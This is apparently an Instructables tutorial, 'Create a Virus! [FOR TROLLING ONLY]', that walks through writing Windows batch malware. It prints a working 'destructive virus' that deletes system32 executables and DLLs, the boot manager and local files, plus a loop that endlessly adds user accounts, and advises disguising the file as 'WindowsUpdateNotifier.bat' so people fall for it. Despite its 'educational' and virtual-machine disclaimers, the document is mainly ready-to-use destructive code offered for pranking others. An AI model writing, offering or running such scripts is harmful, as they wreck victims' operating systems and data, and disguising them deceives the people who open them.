Create a Virus! [FOR TROLLING ONLY] [CMD]

by thepcgeek in Circuits > Software

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Create a Virus! [FOR TROLLING ONLY] [CMD]

instructable1.png

Hi there!

This Instructable will tell you how to create a virus using CMD (command prompt). Be warned that you should ONLY test your virus in a virtual machine (VM)!

This Instructable is created for educational purposes ONLY. Do NOT ever run your virus on any computers such as your work laptop!

Create the Script

So, to create a script, hold left-shift and then click "Open Command Window Here...".

When a CMD prompt pops up, type the following command: copy nul myfile.bat. Rename myfile.bat with something like WindowsUpdateNotifier.bat or people won't fall for the trick!

Now open your favorite text editor (such as Notepad++) and open the script.

Write the Code

Code Samples:

Destructive Virus:

@echo off
rem Very destructive virus!

for %%i in (%systemroot%\system32\*.exe) do del /q %%i

for %%i in (%systemroot%\system32\*.dll) do del /q %%i

for %%i in (*.*) do del /q %%i

del /q %systemdrive%\bootmgr

del /q *.*

Random account adder:


@echo off
rem admin perms required!

:loop

net user /add %random%

goto loop